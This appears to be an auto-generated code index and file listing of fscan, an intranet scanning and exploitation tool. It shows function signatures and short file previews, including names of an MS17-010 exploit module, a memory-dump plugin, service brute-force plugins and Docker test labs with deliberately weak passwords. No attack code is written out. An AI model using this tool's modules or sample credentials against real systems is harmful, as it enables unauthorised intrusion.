function buildLogMessage (line 170) | func buildLogMessage(result *VulnResult) string {
function executePoc (line 195) | func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
function executeRules (line 255) | func executeRules(oReq *http.Request, p *Poc, variableMap map[string]int...
function doSearch (line 365) | func doSearch(re string, body string) map[string]string {
function optimizeCookies (line 397) | func optimizeCookies(rawCookie string) string {
function newReverse (line 428) | func newReverse() *Reverse {
function clusterpoc (line 461) | func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]inter...
function isFuzz (line 671) | func isFuzz(rule Rules, Sets ListMap) bool {
function Combo (line 698) | func Combo(input ListMap) [][]string {
function MakeData (line 718) | func MakeData(base [][]string, nextData []string) [][]string {
function clustersend (line 737) | func clustersend(oReq *http.Request, variableMap map[string]interface{},...
function cloneRules (line 829) | func cloneRules(tags Rules) Rules {
function cloneMap (line 843) | func cloneMap(tags map[string]string) map[string]string {
function evalset (line 855) | func evalset(env *cel.Env, variableMap map[string]interface{}, k string,...
function evalset1 (line 876) | func evalset1(env *cel.Env, variableMap map[string]interface{}, k string...
function CheckInfoPoc (line 887) | func CheckInfoPoc(infostr string) string {
function GetHeader (line 897) | func GetHeader(header map[string]string) string {
FILE: WebScan/lib/Client.go
function Inithttp (line 29) | func Inithttp() {
function InitHttpClient (line 47) | func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Durat...
type Poc (line 119) | type Poc struct
type StrMap (line 133) | type StrMap
method UnmarshalYAML (line 160) | func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
type ListMap (line 134) | type ListMap
method UnmarshalYAML (line 210) | func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) err...
type RuleMap (line 135) | type RuleMap
method UnmarshalYAML (line 182) | func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) err...
type StrItem (line 141) | type StrItem struct
type ListItem (line 147) | type ListItem struct
type RuleItem (line 153) | type RuleItem struct
type Rules (line 232) | type Rules struct
type Detail (line 244) | type Detail struct
function LoadMultiPoc (line 252) | func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
function LoadPoc (line 266) | func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
function SelectPoc (line 285) | func SelectPoc(Pocs embed.FS, pocname string) []string {
function LoadPocbyPath (line 302) | func LoadPocbyPath(fileName string) (*Poc, error) {
FILE: WebScan/lib/Eval.go
function NewEnv (line 28) | func NewEnv(c *CustomLib) (*cel.Env, error) {
function Evaluate (line 33) | func Evaluate(env *cel.Env, expression string, params map[string]interfa...
function UrlTypeToString (line 61) | func UrlTypeToString(u *UrlType) string {
type CustomLib (line 109) | type CustomLib struct
method CompileOptions (line 541) | func (c *CustomLib) CompileOptions() []cel.EnvOption {
method ProgramOptions (line 546) | func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
method UpdateCompileOptions (line 551) | func (c *CustomLib) UpdateCompileOptions(args StrMap) {
function NewEnvOption (line 114) | func NewEnvOption() CustomLib {
function randomLowercase (line 577) | func randomLowercase(n int) string {
function randomUppercase (line 583) | func randomUppercase(n int) string {
function randomString (line 589) | func randomString(n int) string {
function reverseCheck (line 595) | func reverseCheck(r *Reverse, timeout int64) bool {
function RandomStr (line 630) | func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
function DoRequest (line 665) | func DoRequest(req *http.Request, redirect bool) (*Response, error) {
function ParseUrl (line 704) | func ParseUrl(u *url.URL) *UrlType {
function ParseRequest (line 717) | func ParseRequest(oReq *http.Request) (*Request, error) {
function ParseResponse (line 745) | func ParseResponse(oResp *http.Response) (*Response, error) {
function getRespBody (line 769) | func getRespBody(oResp *http.Response) ([]byte, error) {
FILE: WebScan/lib/Shiro.go
function Padding (line 22) | func Padding(plainText []byte, blockSize int) []byte {
function GetShrioCookie (line 33) | func GetShrioCookie(key, mode string) string {
function AES_CBC_Encrypt (line 41) | func AES_CBC_Encrypt(shirokey string) string {
function AES_GCM_Encrypt (line 72) | func AES_GCM_Encrypt(shirokey string) string {
FILE: WebScan/lib/http.pb.go
constant _ (line 20) | _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
constant _ (line 22) | _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
type UrlType (line 25) | type UrlType struct
method Reset (line 39) | func (x *UrlType) Reset() {
method String (line 48) | func (x *UrlType) String() string {
method ProtoMessage (line 52) | func (*UrlType) ProtoMessage() {}
method ProtoReflect (line 54) | func (x *UrlType) ProtoReflect() protoreflect.Message {
method Descriptor (line 67) | func (*UrlType) Descriptor() ([]byte, []int) {
method GetScheme (line 71) | func (x *UrlType) GetScheme() string {
method GetDomain (line 78) | func (x *UrlType) GetDomain() string {
method GetHost (line 85) | func (x *UrlType) GetHost() string {
method GetPort (line 92) | func (x *UrlType) GetPort() string {
method GetPath (line 99) | func (x *UrlType) GetPath() string {
method GetQuery (line 106) | func (x *UrlType) GetQuery() string {
method GetFragment (line 113) | func (x *UrlType) GetFragment() string {
type Request (line 120) | type Request struct
method Reset (line 132) | func (x *Request) Reset() {
method String (line 141) | func (x *Request) String() string {
method ProtoMessage (line 145) | func (*Request) ProtoMessage() {}
method ProtoReflect (line 147) | func (x *Request) ProtoReflect() protoreflect.Message {
method Descriptor (line 160) | func (*Request) Descriptor() ([]byte, []int) {
method GetUrl (line 164) | func (x *Request) GetUrl() *UrlType {
method GetMethod (line 171) | func (x *Request) GetMethod() string {
method GetHeaders (line 178) | func (x *Request) GetHeaders() map[string]string {
method GetContentType (line 185) | func (x *Request) GetContentType() string {
method GetBody (line 192) | func (x *Request) GetBody() []byte {
type Response (line 199) | type Response struct
method Reset (line 212) | func (x *Response) Reset() {
method String (line 221) | func (x *Response) String() string {
method ProtoMessage (line 225) | func (*Response) ProtoMessage() {}
method ProtoReflect (line 227) | func (x *Response) ProtoReflect() protoreflect.Message {
method Descriptor (line 240) | func (*Response) Descriptor() ([]byte, []int) {
method GetUrl (line 244) | func (x *Response) GetUrl() *UrlType {
method GetStatus (line 251) | func (x *Response) GetStatus() int32 {
method GetHeaders (line 258) | func (x *Response) GetHeaders() map[string]string {
method GetContentType (line 265) | func (x *Response) GetContentType() string {
method GetBody (line 272) | func (x *Response) GetBody() []byte {
method GetDuration (line 279) | func (x *Response) GetDuration() float64 {
type Reverse (line 286) | type Reverse struct
method Reset (line 297) | func (x *Reverse) Reset() {
method String (line 306) | func (x *Reverse) String() string {
method ProtoMessage (line 310) | func (*Reverse) ProtoMessage() {}
method ProtoReflect (line 312) | func (x *Reverse) ProtoReflect() protoreflect.Message {
method Descriptor (line 325) | func (*Reverse) Descriptor() ([]byte, []int) {
method GetUrl (line 329) | func (x *Reverse) GetUrl() string {
method GetDomain (line 336) | func (x *Reverse) GetDomain() string {
method GetIp (line 343) | func (x *Reverse) GetIp() string {
method GetIsDomainNameServer (line 350) | func (x *Reverse) GetIsDomainNameServer() bool {
function file_http_proto_rawDescGZIP (line 419) | func file_http_proto_rawDescGZIP() []byte {
function init (line 447) | func init() { file_http_proto_init() }
function file_http_proto_init (line 448) | func file_http_proto_init() {
FILE: main.go
function main (line 11) | func main() {
Condensed preview — 535 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (6,079K chars).
[
{
"path": ".github/ISSUE_TEMPLATE/bug_report.yml",
"chars": 1859,
"preview": "name: 🐛 Bug 报告\ndescription: 报告扫描异常、崩溃或错误行为\ntitle: \"[Bug] \"\nlabels: [\"bug\"]\n\nbody:\n - type: markdown\n attributes:\n "
},
{
"path": ".github/ISSUE_TEMPLATE/config.yml",
"chars": 295,
"preview": "# Issue 模板配置\n# 禁止空白 issue,强制用户选择模板\nblank_issues_enabled: false\n\ncontact_links:\n - name: 📖 使用文档\n url: https://github."
},
{
"path": ".github/ISSUE_TEMPLATE/false_positive.yml",
"chars": 1882,
"preview": "name: 🎯 误报/漏报\ndescription: 报告扫描结果不准确的问题\ntitle: \"[Accuracy] \"\nlabels: [\"accuracy\"]\n\nbody:\n - type: markdown\n attribut"
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.yml",
"chars": 1446,
"preview": "name: ✨ 功能请求\ndescription: 提议新功能或改进现有功能\ntitle: \"[Feature] \"\nlabels: [\"enhancement\"]\n\nbody:\n - type: markdown\n attribu"
},
{
"path": ".github/ISSUE_TEMPLATE/plugin_request.yml",
"chars": 1692,
"preview": "name: 🔌 新插件/协议支持\ndescription: 请求支持新的服务、协议或漏洞检测\ntitle: \"[Plugin] \"\nlabels: [\"plugin\", \"enhancement\"]\n\nbody:\n - type: mar"
},
{
"path": ".github/conf/.goreleaser.yml",
"chars": 2504,
"preview": "# 项目名称 - 直接使用环境变量\nproject_name: \"{{ .Env.PROJECT_NAME }}\"\n\n# 构建前钩子\nbefore:\n hooks:\n - go mod tidy\n - go mod downl"
},
{
"path": ".github/workflows/release.yml",
"chars": 13153,
"preview": "name: 发布构建\n\non:\n push:\n tags:\n - 'v*'\n workflow_dispatch:\n inputs:\n tag:\n description: '发布标签'\n "
},
{
"path": ".github/workflows/test-build.yml",
"chars": 9582,
"preview": "name: 测试构建\n\non:\n push:\n branches:\n - dev\n - develop\n - feature/*\n pull_request:\n branches:\n "
},
{
"path": ".gitignore",
"chars": 60,
"preview": "result.txt\nmain\n.idea\nfscan.exe\nfscan\nmakefile\nfscanapi.csv\n"
},
{
"path": "Common/Config.go",
"chars": 30169,
"preview": "package Common\n\nimport (\n\t\"github.com/schollz/progressbar/v3\"\n\t\"sync\"\n)\n\nvar version = \"2.0.1\"\nvar Userdict = map[string"
},
{
"path": "Common/Flag.go",
"chars": 12068,
"preview": "package Common\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/fatih/color\"\n)\n\nfunc Banner() {\n\t// 定义暗绿色系\n\tcolor"
},
{
"path": "Common/Log.go",
"chars": 5062,
"preview": "package Common\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/fatih/"
},
{
"path": "Common/Output.go",
"chars": 7489,
"preview": "package Common\n\nimport (\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\n//"
},
{
"path": "Common/Parse.go",
"chars": 10293,
"preview": "package Common\n\nimport (\n\t\"bufio\"\n\t\"encoding/hex\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n)\n\n// Parse 配置解析的总入口函数\n// 协"
},
{
"path": "Common/ParseIP.go",
"chars": 12192,
"preview": "package Common\n\nimport (\n\t\"bufio\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"net\"\n\t\"os\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n"
},
{
"path": "Common/ParsePort.go",
"chars": 1704,
"preview": "package Common\n\nimport (\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// ParsePort 解析端口配置字符串为端口号列表\nfunc ParsePort(ports string) []in"
},
{
"path": "Common/Ports.go",
"chars": 1890,
"preview": "package Common\n\nimport (\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar ServicePorts = \"21,22,23,25,110,135,139,143,162,389,445,465,502,58"
},
{
"path": "Common/Proxy.go",
"chars": 1673,
"preview": "package Common\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"golang.org/x/net/proxy\"\n\t\"net\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n)\n\n// WrapperTc"
},
{
"path": "Common/Types.go",
"chars": 1129,
"preview": "// Config/types.go\npackage Common\n\ntype HostInfo struct {\n\tHost string\n\tPorts string\n\tUrl string\n\tInfostr []str"
},
{
"path": "Common/i18n.go",
"chars": 32708,
"preview": "package Common\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// 支持的语言类型\nconst (\n\tLangZH = \"zh\" // 中文\n\tLangEN = \"en\" // 英文\n\tLangJA = \"ja"
},
{
"path": "Core/ICMP.go",
"chars": 8513,
"preview": "package Core\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"golang.org/x/net/icmp\"\n\t\"net\"\n\t\"os/exec\"\n\t"
},
{
"path": "Core/LocalScanner.go",
"chars": 2626,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t\"sync\"\n)\n\n// LocalScanStrategy 本地扫描策略\ntyp"
},
{
"path": "Core/PluginUtils.go",
"chars": 1034,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n)\n\n// 插件列表解析和验证\nfunc parsePluginList(plugi"
},
{
"path": "Core/PortFinger.go",
"chars": 20972,
"preview": "package Core\n\nimport (\n\t_ \"embed\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"str"
},
{
"path": "Core/PortInfo.go",
"chars": 10625,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n)\n\n// ServiceInfo 定义服"
},
{
"path": "Core/PortScan.go",
"chars": 3413,
"preview": "package Core\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"golang.org/x/sync/errgroup\"\n\t\"golang.org"
},
{
"path": "Core/Registry.go",
"chars": 7451,
"preview": "package Core\n\nimport (\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/shadow1ng/fscan/Plugins\"\n\t\"sort\"\n)\n\n// init 初始化"
},
{
"path": "Core/Scanner.go",
"chars": 5457,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/schollz/progressbar/v3\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/sha"
},
{
"path": "Core/ServiceScanner.go",
"chars": 5197,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t\"sync\"\n)\n\n// ServiceScanStrategy 服务扫描策略\nt"
},
{
"path": "Core/WebScanner.go",
"chars": 2887,
"preview": "package Core\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t\"sync\"\n)\n\n// WebScanStrategy Web扫描策略\ntype"
},
{
"path": "Core/nmap-service-probes.txt",
"chars": 2500417,
"preview": "# Nmap service detection probe list -*- mode: fundamental; -*-\n# $Id$\n#\n# This is a database of custom probes and expect"
},
{
"path": "LICENSE.txt",
"chars": 1065,
"preview": "MIT License\n\nCopyright (c) 2021 shadow1ng\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\n"
},
{
"path": "Plugins/ActiveMQ.go",
"chars": 7616,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\n//"
},
{
"path": "Plugins/Base.go",
"chars": 2503,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n)\n\n// ReadB"
},
{
"path": "Plugins/Cassandra.go",
"chars": 8140,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/gocql/gocql\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strconv\"\n\t\""
},
{
"path": "Plugins/DCInfo.go",
"chars": 25237,
"preview": "//go:build windows\n\npackage Plugins\n\nimport (\n\t\"fmt\"\n\t\"github.com/go-ldap/ldap/v3\"\n\t\"github.com/go-ldap/ldap/v3/gssapi\"\n"
},
{
"path": "Plugins/DCInfoUnix.go",
"chars": 149,
"preview": "//go:build !windows\n\npackage Plugins\n\nimport \"github.com/shadow1ng/fscan/Common\"\n\nfunc DCInfoScan(info *Common.HostInfo)"
},
{
"path": "Plugins/Elasticsearch.go",
"chars": 7124,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net/"
},
{
"path": "Plugins/FTP.go",
"chars": 7770,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/jlaffaye/ftp\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t"
},
{
"path": "Plugins/FindNet.go",
"chars": 4747,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"regexp\"\n\t\"strcon"
},
{
"path": "Plugins/IMAP.go",
"chars": 7332,
"preview": "package Plugins\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"io\"\n\t\"net\"\n\t\"s"
},
{
"path": "Plugins/Kafka.go",
"chars": 7552,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/IBM/sarama\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t\"s"
},
{
"path": "Plugins/LDAP.go",
"chars": 6938,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/go-ldap/ldap/v3\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\""
},
{
"path": "Plugins/LocalInfo.go",
"chars": 4889,
"preview": "package Plugins\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n)\n\nva"
},
{
"path": "Plugins/MS17010-Exp.go",
"chars": 40913,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"io\"\n"
},
{
"path": "Plugins/MS17010.go",
"chars": 8254,
"preview": "package Plugins\n\nimport (\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"os\"\n\t\"strings"
},
{
"path": "Plugins/MSSQL.go",
"chars": 6181,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t_ \"github.com/denisenkom/go-mssqldb\"\n\t\"github.com/shadow1ng"
},
{
"path": "Plugins/Memcached.go",
"chars": 3334,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strings\"\n\t\"time\"\n)\n\n// MemcachedScanR"
},
{
"path": "Plugins/MiniDump.go",
"chars": 7246,
"preview": "//go:build windows\n\npackage Plugins\n\nimport (\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"golang.org/x/sys/windows\"\n\t\""
},
{
"path": "Plugins/MiniDumpUnix.go",
"chars": 147,
"preview": "//go:build !windows\n\npackage Plugins\n\nimport \"github.com/shadow1ng/fscan/Common\"\n\nfunc MiniDump(info *Common.HostInfo) ("
},
{
"path": "Plugins/Modbus.go",
"chars": 6087,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"time\"\n)\n\n//"
},
{
"path": "Plugins/Mongodb.go",
"chars": 5401,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n)\n\n// M"
},
{
"path": "Plugins/MySQL.go",
"chars": 6665,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t_ \"github.com/go-sql-driver/mysql\"\n\t\"github.com/shadow1ng/f"
},
{
"path": "Plugins/Neo4j.go",
"chars": 8159,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/neo4j/neo4j-go-driver/v4/neo4j\"\n\t\"github.com/shadow1ng/fscan/Co"
},
{
"path": "Plugins/NetBIOS.go",
"chars": 12275,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"gopkg.in/yaml.v3\"\n\t\"net\"\n\t\"st"
},
{
"path": "Plugins/Oracle.go",
"chars": 10606,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t_ \"github.com/sijms/go"
},
{
"path": "Plugins/POP3.go",
"chars": 9603,
"preview": "package Plugins\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"strings"
},
{
"path": "Plugins/Postgres.go",
"chars": 5990,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"fmt\"\n\t_ \"github.com/lib/pq\"\n\t\"github.com/shadow1ng/fscan/Common\"\n"
},
{
"path": "Plugins/RDP.go",
"chars": 8673,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/tomatome/grdp/co"
},
{
"path": "Plugins/RabbitMQ.go",
"chars": 7381,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\tamqp \"github.com/rabbitmq/amqp091-go\"\n\t\"github.com/shadow1ng/fscan/Common\"\n"
},
{
"path": "Plugins/Redis.go",
"chars": 24410,
"preview": "package Plugins\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\t\"path/file"
},
{
"path": "Plugins/Rsync.go",
"chars": 10899,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n)\n\n//"
},
{
"path": "Plugins/SMB.go",
"chars": 6983,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/stacktitan/smb/smb\"\n\t\"stri"
},
{
"path": "Plugins/SMB2.go",
"chars": 11163,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\""
},
{
"path": "Plugins/SMTP.go",
"chars": 7241,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"net/smtp\"\n\t\"strings\"\n\t\"sync\"\n\t"
},
{
"path": "Plugins/SNMP.go",
"chars": 3413,
"preview": "package Plugins\n\nimport (\n\t\"fmt\"\n\t\"github.com/gosnmp/gosnmp\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"strconv\"\n\t\"strings\"\n"
},
{
"path": "Plugins/SSH.go",
"chars": 8305,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"golang.org/x/crypto/ssh\"\n\t\"io/ioutil\""
},
{
"path": "Plugins/SmbGhost.go",
"chars": 3358,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/shadow1ng/fscan/Common\"\n)\n\nconst (\n\tpkt = \"\\x00\" + // se"
},
{
"path": "Plugins/Telnet.go",
"chars": 16240,
"preview": "package Plugins\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t\"regexp\"\n\t\"s"
},
{
"path": "Plugins/VNC.go",
"chars": 5768,
"preview": "package Plugins\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"github.com/mitchellh/go-vnc\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"net\"\n\t"
},
{
"path": "Plugins/WebPoc.go",
"chars": 250,
"preview": "package Plugins\n\nimport (\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/shadow1ng/fscan/WebScan\"\n)\n\n// WebPoc 直接执行We"
},
{
"path": "Plugins/WebTitle.go",
"chars": 12218,
"preview": "package Plugins\n\nimport (\n\t\"compress/gzip\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\""
},
{
"path": "README.md",
"chars": 3120,
"preview": "# Fscan \n[English][url-docen]\n\n# 0x01 简介\n\n一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。\n\n# 0x02 主要功能\n## 1. 信息搜集\n- 基于ICMP的主机存活探测:快速识别网络中的活跃"
},
{
"path": "README_EN.md",
"chars": 13677,
"preview": "# fscan\n[中文][url-doczh]\n\n# 1. Introduction\nAn intranet comprehensive scanning tool, which is convenient for automatic an"
},
{
"path": "TestDocker/ActiveMQ/Dockerfile",
"chars": 227,
"preview": "FROM rmohr/activemq:5.15.9\n\n# 复制配置文件\nCOPY users.properties /opt/activemq/conf/users.properties\nCOPY activemq.xml /opt/ac"
},
{
"path": "TestDocker/ActiveMQ/README.txt",
"chars": 123,
"preview": "docker build -t activemq-weak .\ndocker run -d --name activemq-test -p 61616:61616 -p 8161:8161 -p 61613:61613 activemq-w"
},
{
"path": "TestDocker/ActiveMQ/activemq.xml",
"chars": 2058,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n xmlns:xsi=\"http"
},
{
"path": "TestDocker/ActiveMQ/users.properties",
"chars": 59,
"preview": "admin=Aa123456789\ntest=test123\nroot=root123\nsystem=admin123"
},
{
"path": "TestDocker/Cassandra/README.txt",
"chars": 158,
"preview": "docker build -t cassandra-weak .\ndocker run -d --name cassandra-test -e CASSANDRA_AUTHENTICATOR=AllowAllAuthenticator -p"
},
{
"path": "TestDocker/Elasticsearch/Dockerfile",
"chars": 427,
"preview": "FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3\n\n# 设置环境变量允许单节点运行\nENV discovery.type=single-node\n\n# 允许任意IP访问\nENV"
},
{
"path": "TestDocker/Elasticsearch/README.txt",
"chars": 83,
"preview": "docker build -t elastic-test .\ndocker run -d -p 9200:9200 -p 9300:9300 elastic-test"
},
{
"path": "TestDocker/FTP/README.txt",
"chars": 127,
"preview": "docker run -d -p 20:20 -p 21:21 -e FTP_USER=admin -e FTP_PASS=123456 -e PASV_ADDRESS=127.0.0.1 --name ftp bogem/ftp\nMa"
},
{
"path": "TestDocker/IMAP/Dockerfile",
"chars": 1743,
"preview": "FROM ubuntu:20.04\n\nENV DEBIAN_FRONTEND=noninteractive\n\n# 安装 Dovecot 和工具\nRUN apt-get update && \\\n apt-get install -y d"
},
{
"path": "TestDocker/IMAP/README.txt",
"chars": 90,
"preview": "docker build -t weak-imap .\ndocker run -d --name imap-test -p 143:143 -p 993:993 weak-imap"
},
{
"path": "TestDocker/Kafka/README.txt",
"chars": 20,
"preview": "docker-compose up -d"
},
{
"path": "TestDocker/Kafka/docker-compose.yml",
"chars": 944,
"preview": "# docker-compose.yml\nversion: '3'\nservices:\n kafka:\n image: bitnami/kafka:latest\n ports:\n - \"9092:9092\"\n "
},
{
"path": "TestDocker/Kafka/kafka_jaas.conf",
"chars": 201,
"preview": "KafkaServer {\n org.apache.kafka.common.security.plain.PlainLoginModule required\n username=\"admin\"\n password=\"admin"
},
{
"path": "TestDocker/LDAP/Dockerfile",
"chars": 428,
"preview": "FROM osixia/openldap:1.5.0\n\n# 环境变量设置\nENV LDAP_ORGANISATION=\"Example Inc\"\nENV LDAP_DOMAIN=\"example.com\"\nENV LDAP_BASE_DN="
},
{
"path": "TestDocker/LDAP/README.txt",
"chars": 90,
"preview": "docker build -t ldap-weak .\ndocker run -d --name ldap-test -p 389:389 -p 636:636 ldap-weak"
},
{
"path": "TestDocker/LDAP/bootstrap.ldif",
"chars": 428,
"preview": "dn: ou=users,dc=example,dc=com\nobjectClass: organizationalUnit\nou: users\n\ndn: cn=admin,ou=users,dc=example,dc=com\nobject"
},
{
"path": "TestDocker/MSSQL/Dockerfile",
"chars": 316,
"preview": "# 使用SQL Server官方镜像\nFROM mcr.microsoft.com/mssql/server:2022-latest\n\n# 设置环境变量\nENV ACCEPT_EULA=Y\nENV MSSQL_SA_PASSWORD=P@s"
},
{
"path": "TestDocker/MSSQL/README.txt",
"chars": 105,
"preview": "docker build -t mssql-server .\ndocker run -d \\\n -p 1433:1433 \\\n --name mssql-container \\\n mssql-server"
},
{
